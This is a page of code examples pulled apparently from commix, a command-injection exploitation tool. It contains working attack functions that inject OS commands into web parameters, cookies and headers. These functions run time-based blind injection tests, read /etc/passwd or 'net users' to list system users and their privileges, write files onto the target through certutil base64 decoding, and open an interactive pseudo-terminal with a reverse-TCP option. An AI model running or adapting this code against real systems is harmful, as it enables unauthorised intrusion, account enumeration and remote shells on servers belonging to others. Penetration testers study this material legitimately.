        # else:
        #   settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
    cmd = settings.SYS_USERS
    if settings.TARGET_OS == "win":
        cmd = "cmd /c " + cmd
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        sys_users = cb_injector.injection_results(response, TAG, cmd)
        sys_users = "".join(str(p) for p in sys_users)
        session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
    else:
        sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    # Windows users enumeration.
    if settings.TARGET_OS == "win":
        info_msg = "Executing the 'net users' command "
        info_msg += "to enumerate users entries. "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        try:
            if sys_users[0]:
                sys_users = "".join(str(p) for p in sys_users).strip()
                sys.stdout.write(settings.SUCCESS_STATUS)
                sys_users_list = re.findall(r"(.*)", sys_users)
                sys_users_list = "".join(str(p)
                                         for p in sys_users_list).strip()
                sys_users_list = ' '.join(sys_users_list.split())
                sys_users_list = sys_users_list.split()
                info_msg = "Identified " + str(len(sys_users_list))
                info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
                info_msg += " via 'net users' command.\n"
                sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write(
                    re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                        "", settings.INFO_BOLD_SIGN) + info_msg)
                output_file.close()
                count = 0
                for user in range(0, len(sys_users_list)):
                    count = count + 1
                    if menu.options.privileges:
                        cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
                            user] + ")[22..($(net user " + sys_users_list[
                                user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
                        if alter_shell:
                            cmd = cmd.replace("'", "\\'")
                        cmd = "cmd /c " + cmd
                        response = cb_injector.injection(
                            separator, TAG, cmd, prefix, suffix, whitespace,
                            http_request_method, url, vuln_parameter,
                            alter_shell, filename)
                        check_privs = cb_injector.injection_results(
                            response, TAG, cmd)
                        check_privs = "".join(str(p)
                                              for p in check_privs).strip()
                        check_privs = re.findall(r"(.*)", check_privs)
                        check_privs = "".join(str(p)
                                              for p in check_privs).strip()
                        check_privs = check_privs.split()
                        if "Admin" in check_privs[0]:
                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
                            is_privileged_nh = " is admin user "
                        else:
                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
                            is_privileged_nh = " is regular user "
                    else:
                        is_privileged = ""
                        is_privileged_nh = ""
                    print("    (" + str(count) + ") '" + Style.BRIGHT +
                          sys_users_list[user] + Style.RESET_ALL + "'" +
                          Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write("    (" + str(count) + ") " +
                                      sys_users_list[user] + is_privileged +
                                      ".\n")
                    output_file.close()
            else:
                sys.stdout.write(settings.FAIL_STATUS)
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to enumerate users entries."
                print("\n" + settings.print_warning_msg(warn_msg))

        except TypeError:
            sys.stdout.write(settings.FAIL_STATUS + "\n")
            sys.stdout.flush()
            pass

        except IndexError:
            sys.stdout.write(settings.FAIL_STATUS)
            warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
            sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
            sys.stdout.flush()
            pass

    # Unix-like users enumeration.
    else:
        info_msg = "Fetching '" + settings.PASSWD_FILE
        info_msg += "' to enumerate users entries. "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        try:
            if sys_users[0]:
                sys_users = "".join(str(p) for p in sys_users).strip()
                if len(sys_users.split(" ")) <= 1:
                    sys_users = sys_users.split("\n")
                else:
                    sys_users = sys_users.split(" ")
                # Check for appropriate '/etc/passwd' format.
                if len(sys_users) % 3 != 0:
                    sys.stdout.write(settings.FAIL_STATUS)
                    sys.stdout.flush()
                    warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
                    warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
                    print("\n" + settings.print_warning_msg(warn_msg))
                    sys_users = " ".join(str(p) for p in sys_users).strip()
                    print(sys_users)
                    output_file = open(filename, "a")
                    output_file.write("      " + sys_users)
                    output_file.close()
                else:
                    sys_users_list = []
                    for user in range(0, len(sys_users), 3):
                        sys_users_list.append(sys_users[user:user + 3])
                    if len(sys_users_list) != 0:
                        sys.stdout.write(settings.SUCCESS_STATUS)
                        info_msg = "Identified " + str(len(sys_users_list))
                        info_msg += " entr" + ('ies',
                                               'y')[len(sys_users_list) == 1]
                        info_msg += " in '" + settings.PASSWD_FILE + "'.\n"
                        sys.stdout.write(
                            "\n" + settings.print_bold_info_msg(info_msg))
                        sys.stdout.flush()
                        # Add infos to logs file.
                        output_file = open(filename, "a")
                        output_file.write(
                            re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
                                       ).sub("", settings.INFO_BOLD_SIGN) +
                            info_msg)
                        output_file.close()
                        count = 0
                        for user in range(0, len(sys_users_list)):
                            sys_users = sys_users_list[user]
                            sys_users = ":".join(str(p) for p in sys_users)
                            count = count + 1
                            fields = sys_users.split(":")
                            fields1 = "".join(str(p) for p in fields)
                            # System users privileges enumeration
                            try:
                                if not fields[2].startswith("/"):
                                    raise ValueError()
                                if menu.options.privileges:
                                    if int(fields[1]) == 0:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
                                        is_privileged_nh = " is root user "
                                    elif int(fields[1]) > 0 and int(
                                            fields[1]) < 99:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
                                        is_privileged_nh = " is system user "
                                    elif int(fields[1]) >= 99 and int(
                                            fields[1]) < 65534:
                                        if int(fields[1]) == 99 or int(
                                                fields[1]) == 60001 or int(
                                                    fields[1]) == 65534:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
                                            is_privileged_nh = " is anonymous user "
                                        elif int(fields[1]) == 60002:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
                                            is_privileged_nh = " is non-trusted user "
                                        else:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
                                            is_privileged_nh = " is regular user "
                                    else:
                                        is_privileged = ""
                                        is_privileged_nh = ""
                                else:
                                    is_privileged = ""
                                    is_privileged_nh = ""
                                print("    (" + str(count) + ") '" +
                                      Style.BRIGHT + fields[0] +
                                      Style.RESET_ALL + "'" + Style.BRIGHT +
                                      is_privileged + Style.RESET_ALL +
                                      "(uid=" + fields[1] +
                                      "). Home directory is in '" +
                                      Style.BRIGHT + fields[2] +
                                      Style.RESET_ALL + "'.")
                                # Add infos to logs file.
                                output_file = open(filename, "a")
                                output_file.write("    (" + str(count) +
                                                  ") '" + fields[0] + "'" +
                                                  is_privileged_nh + "(uid=" +
                                                  fields[1] +
                                                  "). Home directory is in '" +
                                                  fields[2] + "'.\n")
                                output_file.close()
                            except ValueError:
                                if count == 1:
                                    warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
                                    warn_msg += "appropriate format. Thus, it is expoted as a text file."
                                    print(settings.print_warning_msg(warn_msg))
                                sys_users = " ".join(
                                    str(p) for p in sys_users.split(":"))
                                print(sys_users)
                                output_file = open(filename, "a")
                                output_file.write("      " + sys_users)
                                output_file.close()
            else:
                sys.stdout.write(settings.FAIL_STATUS)
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to read '"
                warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
                print("\n" + settings.print_warning_msg(warn_msg))
        except TypeError:
            sys.stdout.write(settings.FAIL_STATUS + "\n")
            sys.stdout.flush()
            pass

        except IndexError:
            sys.stdout.write(settings.FAIL_STATUS)
            warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
            warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
            sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
            sys.stdout.flush()
            pass
Ejemplo n.º 51
0
def tb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):

    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    again_warning = True
    false_positive_warning = False
    export_injection_info = False
    how_long = 0
    how_long_statistic = 0
    injection_type = "Blind Command Injection"
    technique = "time-based injection technique"

    if menu.options.verbose:
        print settings.INFO_SIGN + "Testing the " + technique + "... "

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL

    # Calculate all possible combinations
    total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
             len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:

                # If a previous session is available.
                if settings.LOAD_SESSION and session_handler.notification(
                        url, technique):
                    cmd = shell = ""
                    url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                        url, http_request_method)
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay

                if settings.RETEST == True:
                    settings.RETEST = False
                    from src.core.injections.results_based.techniques.classic import cb_handler
                    cb_handler.exploitation(url, delay, filename,
                                            http_request_method)

                if not settings.LOAD_SESSION:
                    num_of_chars = num_of_chars + 1
                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    # Define alter shell
                    alter_shell = menu.options.alter_shell

                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for num_of_chars in range(6))
                    tag_length = len(TAG) + 4

                    for output_length in range(1, int(tag_length)):
                        try:
                            if alter_shell:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision_alter_shell(
                                    separator, TAG, output_length, delay,
                                    http_request_method)
                            else:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision(
                                    separator, TAG, output_length, delay,
                                    http_request_method)

                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            if menu.options.base64:
                                payload = base64.b64encode(payload)

                            # Check if defined "--verbose" option.
                            if menu.options.verbose:
                                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace(
                                    "\n", "\\n") + Style.RESET_ALL

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                how_long = tb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                how_long = tb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                how_long = tb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                how_long = tb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                how_long, vuln_parameter = tb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Statistical analysis in time responses.
                            how_long_statistic = how_long_statistic + how_long

                            # Reset the how_long_statistic counter
                            if output_length == tag_length - 1:
                                how_long_statistic = 0

                            # Injection percentage calculation
                            percent = ((num_of_chars * 100) / total)
                            float_percent = "{0:.1f}".format(
                                round(((num_of_chars * 100) / (total * 1.0)),
                                      2))

                            if percent == 100 and no_result == True:
                                if not menu.options.verbose:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                else:
                                    percent = ""
                            else:
                                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                    # Time relative false positive fixation.
                                    false_positive_fixation = False
                                    if len(TAG) == output_length:
                                        # Windows targets.
                                        if settings.TARGET_OS == "win":
                                            if how_long > (how_long_statistic /
                                                           output_length):
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True
                                        # Unix-like targets.
                                        else:
                                            if delay == 1 and (how_long_statistic == delay) or \
                                              delay == 1 and (how_long_statistic == how_long) or \
                                              delay > 1 and (how_long_statistic == (output_length + delay)) and \
                                              how_long == delay + 1:
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True

                                    # Identified false positive warning message.
                                    if false_positive_warning and again_warning:
                                        again_warning = False
                                        warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
                                        warning_msg += "requests. This behavior which may lead to false-positive results."
                                        sys.stdout.write("\r" + Fore.YELLOW +
                                                         warning_msg +
                                                         Style.RESET_ALL)
                                        print ""

                                    # Check if false positive fixation is True.
                                    if false_positive_fixation:
                                        false_positive_fixation = False
                                        settings.FOUND_HOW_LONG = how_long
                                        settings.FOUND_DIFF = how_long - delay
                                        randv1 = random.randrange(0, 1)
                                        randv2 = random.randrange(1, 2)
                                        randvcalc = randv1 + randv2

                                        if settings.TARGET_OS == "win":
                                            if alter_shell:
                                                cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")\""
                                            else:
                                                cmd = "powershell.exe -InputFormat none write (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")"
                                        else:
                                            cmd = "(" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")"

                                        # Check for false positive resutls
                                        how_long, output = tb_injector.false_positive_check(
                                            separator, TAG, cmd, prefix,
                                            suffix, delay, http_request_method,
                                            url, vuln_parameter, randvcalc,
                                            alter_shell, how_long,
                                            url_time_response)

                                        if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                            if str(output) == str(
                                                    randvcalc) and len(
                                                        TAG) == output_length:
                                                is_vulnerable = True
                                                how_long_statistic = 0
                                                if not menu.options.verbose:
                                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                                else:
                                                    percent = ""
                                        else:
                                            break
                                    # False positive
                                    else:
                                        if not menu.options.verbose:
                                            percent = str(float_percent) + "%"
                                            sys.stdout.write(
                                                "\r" + settings.INFO_SIGN +
                                                "Testing the " + technique +
                                                "... " + "[ " + percent + " ]")
                                            sys.stdout.flush()
                                        continue
                                else:
                                    if not menu.options.verbose:
                                        percent = str(float_percent) + "%"
                                        sys.stdout.write("\r" +
                                                         settings.INFO_SIGN +
                                                         "Testing the " +
                                                         technique + "... " +
                                                         "[ " + percent + " ]")
                                        sys.stdout.flush()
                                    continue
                            if not menu.options.verbose:
                                sys.stdout.write("\r" + settings.INFO_SIGN +
                                                 "Testing the " + technique +
                                                 "... " + "[ " + percent +
                                                 " ]")
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            break
                        break

                # Yaw, got shellz!
                # Do some magic tricks!
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                    if (len(TAG) == output_length) and \
                       (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):

                        found = True
                        no_result = False

                        if settings.LOAD_SESSION:
                            is_vulnerable = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", payload.replace(
                                "\n", "\\n")) + Style.RESET_ALL

                        if not settings.LOAD_SESSION:
                            shell = ""
                            session_handler.injection_point_importation(
                                url, technique, injection_type, separator,
                                shell, vuln_parameter, prefix, suffix, TAG,
                                alter_shell, payload, http_request_method,
                                url_time_response, delay, how_long,
                                output_length, is_vulnerable)
                            is_vulnerable = False
                        else:
                            settings.LOAD_SESSION = False

                        new_line = False
                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n" + settings.QUESTION_SIGN +
                                    "Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOICE_YES:
                                    tb_enumeration.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = True
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.enumeration_options():
                                tb_enumeration.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, alter_shell, filename,
                                    url_time_response)
                                print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    settings.QUESTION_SIGN +
                                    "Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOICE_YES:
                                    tb_file_access.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    if not new_line:
                                        new_line = True
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            # if not menu.enumeration_options() and not menu.options.os_cmd:
                            #   print ""
                            tb_file_access.do_check(separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            cmd = menu.options.os_cmd
                            check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                separator, maxlen, TAG, cmd, prefix, suffix,
                                delay, http_request_method, url,
                                vuln_parameter, alter_shell, filename,
                                url_time_response)
                            # Export injection result
                            tb_injector.export_injection_results(
                                cmd, separator, output, check_how_long)
                            sys.exit(0)

                        if not new_line:
                            print ""

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            gotshell = raw_input(
                                settings.QUESTION_SIGN +
                                "Do you want a Pseudo-Terminal? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOICE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    from src.core.injections.results_based.techniques.classic import cb_injector
                                                    separator = checks.time_based_separators(
                                                        separator,
                                                        http_request_method)
                                                    whitespace = settings.WHITESPACES[
                                                        0]
                                                    response = cb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = cb_injector.injection_results(
                                                        response, TAG)
                                                    # Export injection result
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
                                            else:
                                                pass

                                        else:
                                            print ""
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # The main command injection exploitation.
                                                check_how_long, output = tb_injector.injection(
                                                    separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)
                                                # Export injection result
                                                tb_injector.export_injection_results(
                                                    cmd, separator, output,
                                                    check_how_long)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, output,
                                                        vuln_parameter)
                                            else:
                                                output = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                                print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL

                                            print ""
                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass
                            #break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Ejemplo n.º 52
0
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_write = menu.options.file_write
  if not os.path.exists(file_to_write):
    warn_msg = "It seems that the '" + file_to_write + "' file, does not exists."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
    sys.exit(0)

  if os.path.isfile(file_to_write):
    with open(file_to_write, 'r') as content_file:
      content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
    content = "".join(str(p) for p in content).replace("'", "\"")
    if settings.TARGET_OS == "win":
    	import base64
    	content = base64.b64encode(content)
  else:
    warn_msg = "It seems that '" + file_to_write + "' is not a file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
    
  if os.path.split(menu.options.file_dest)[1] == "" :
    dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
  elif os.path.split(menu.options.file_dest)[0] == "/":
    dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
  else:
    dest_to_write = menu.options.file_dest

  # Execute command
  if settings.TARGET_OS == "win":
    dest_to_write = dest_to_write.replace("\\","/")
    # Find path
    path = os.path.dirname(dest_to_write)
    path = path.replace("/","\\")
    # Chnage directory
    cmd = "cd " + path 
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Find filename
    filname = os.path.basename(dest_to_write)
    tmp_filname = "tmp_" + filname
    cmd = settings.FILE_WRITE + content + ">" + tmp_filname
    if not menu.options.alter_shell :
      cmd = "\"" + cmd + "\""
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  	# Decode base 64 encoding
    cmd = "certutil -decode "  + tmp_filname + " " + filname 
    if not menu.options.alter_shell :
      cmd = "\"" + cmd + "\""
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)	
    cb_injector.injection_results(response, TAG, cmd)
    # Delete tmp file
    cmd = "del " + tmp_filname
    if not menu.options.alter_shell :
      cmd = "\"" + cmd + "\""
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)	
    cb_injector.injection_results(response, TAG, cmd)
    # Check if file exists
    cmd = "if exist " + filname + " (echo " + filname + ")" 
    if not menu.options.alter_shell :
      cmd = "\"" + cmd + "\""
    dest_to_write = path + "\\" + filname

  else:
    cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    # Check if file exists
    cmd = "echo $(ls " + dest_to_write + ")"

  # Check if defined cookie injection.
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  shell = cb_injector.injection_results(response, TAG, cmd)
  shell = "".join(str(p) for p in shell)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The " +  shell + Style.RESET_ALL
    success_msg += Style.BRIGHT + " file was created successfully!" + "\n" 
    sys.stdout.write(settings.print_success_msg(success_msg))
    sys.stdout.flush()
  else:
    warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
Ejemplo n.º 53
0
def system_users(separator, TAG, prefix, suffix, whitespace,
                 http_request_method, url, vuln_parameter, alter_shell,
                 filename):
    if settings.TARGET_OS == "win":
        settings.SYS_USERS = settings.WIN_SYS_USERS
